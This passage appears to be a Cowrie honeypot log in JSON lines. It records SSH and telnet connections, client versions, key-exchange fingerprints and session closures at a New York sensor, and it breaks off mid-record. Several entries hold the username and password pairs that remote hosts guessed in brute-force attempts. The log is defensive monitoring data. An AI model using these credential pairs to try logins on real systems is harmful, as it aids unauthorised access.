{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:21:39.870747Z","src_ip":"202.125.94.71","session":"5286d70bb0fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testmail","password":"test123","message":"login attempt [testmail/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:21:40.955994Z","src_ip":"202.125.94.71","session":"5286d70bb0fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:21:42.223938Z","src_ip":"202.125.94.71","session":"5286d70bb0fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:21:43.375491Z","src_ip":"47.239.15.75","session":"44bf03b9db05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":26494,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a7227a8e101","protocol":"ssh","message":"New connection: 194.59.206.2:26494 (159.203.135.109:22) [session: 8a7227a8e101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:15.498580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:15.503545Z","src_ip":"194.59.206.2","session":"8a7227a8e101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:15.589647Z","src_ip":"194.59.206.2","session":"8a7227a8e101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:15.684583Z","src_ip":"194.59.206.2","session":"8a7227a8e101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:19.152532Z","src_ip":"47.239.15.75","session":"d99ec7cf2450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:21.554772Z","src_ip":"47.239.15.75","session":"d99ec7cf2450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":57944,"dst_ip":"159.203.135.109","dst_port":22,"session":"65044acee884","protocol":"ssh","message":"New connection: 103.88.76.27:57944 (159.203.135.109:22) [session: 65044acee884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:30.036755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:30.041927Z","src_ip":"103.88.76.27","session":"65044acee884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:30.308349Z","src_ip":"103.88.76.27","session":"65044acee884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.192.216.249","src_port":37834,"dst_ip":"10.17.0.5","dst_port":23,"session":"81d4c2a23c41","protocol":"telnet","message":"New connection: 106.192.216.249:37834 (10.17.0.5:23) [session: 81d4c2a23c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:31.042592Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"zxc123","message":"login attempt [test/zxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:31.376321Z","src_ip":"103.88.76.27","session":"65044acee884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:32.639062Z","src_ip":"103.88.76.27","session":"65044acee884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":54428,"dst_ip":"159.203.135.109","dst_port":22,"session":"c39fd448ee46","protocol":"ssh","message":"New connection: 202.125.94.71:54428 (159.203.135.109:22) [session: c39fd448ee46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:37.610308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:37.615334Z","src_ip":"202.125.94.71","session":"c39fd448ee46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:37.883238Z","src_ip":"202.125.94.71","session":"c39fd448ee46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"orts","message":"login attempt [admin/orts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:38.967642Z","src_ip":"202.125.94.71","session":"c39fd448ee46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:40.234744Z","src_ip":"202.125.94.71","session":"c39fd448ee46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":55880,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b1d14fd3dd7","protocol":"ssh","message":"New connection: 47.239.15.75:55880 (159.203.135.109:22) [session: 2b1d14fd3dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:41.483891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:41.488358Z","src_ip":"47.239.15.75","session":"2b1d14fd3dd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:43.592232Z","src_ip":"47.239.15.75","session":"2b1d14fd3dd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.046793699264526,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:44.089144Z","src_ip":"106.192.216.249","session":"81d4c2a23c41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":37216,"dst_ip":"10.17.0.5","dst_port":23,"session":"90e863cb68ce","protocol":"telnet","message":"New connection: 45.58.127.90:37216 (10.17.0.5:23) [session: 90e863cb68ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:22:58.676794Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":59014,"dst_ip":"159.203.135.109","dst_port":22,"session":"44d46e81fab5","protocol":"ssh","message":"New connection: 103.88.76.27:59014 (159.203.135.109:22) [session: 44d46e81fab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:23:26.881787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:23:26.887108Z","src_ip":"103.88.76.27","session":"44d46e81fab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:23:27.136638Z","src_ip":"103.88.76.27","session":"44d46e81fab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qw123456","message":"login attempt [ubuntu/Qw123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:23:28.152398Z","src_ip":"103.88.76.27","session":"44d46e81fab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:23:29.400131Z","src_ip":"103.88.76.27","session":"44d46e81fab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.10535287857056,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:23:35.782038Z","src_ip":"45.58.127.90","session":"90e863cb68ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":47486,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2b5d413d67f","protocol":"ssh","message":"New connection: 202.125.94.71:47486 (159.203.135.109:22) [session: e2b5d413d67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:23:36.997221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:23:37.002214Z","src_ip":"202.125.94.71","session":"e2b5d413d67f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:23:37.265746Z","src_ip":"202.125.94.71","session":"e2b5d413d67f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Changeme_123","message":"login attempt [user/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:23:38.351838Z","src_ip":"202.125.94.71","session":"e2b5d413d67f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:23:39.619781Z","src_ip":"202.125.94.71","session":"e2b5d413d67f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.230","src_port":62622,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bdf880faa3a","protocol":"ssh","message":"New connection: 198.235.24.230:62622 (10.17.0.5:22) [session: 5bdf880faa3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:23:50.888816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:23:51.713965Z","src_ip":"198.235.24.230","session":"5bdf880faa3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh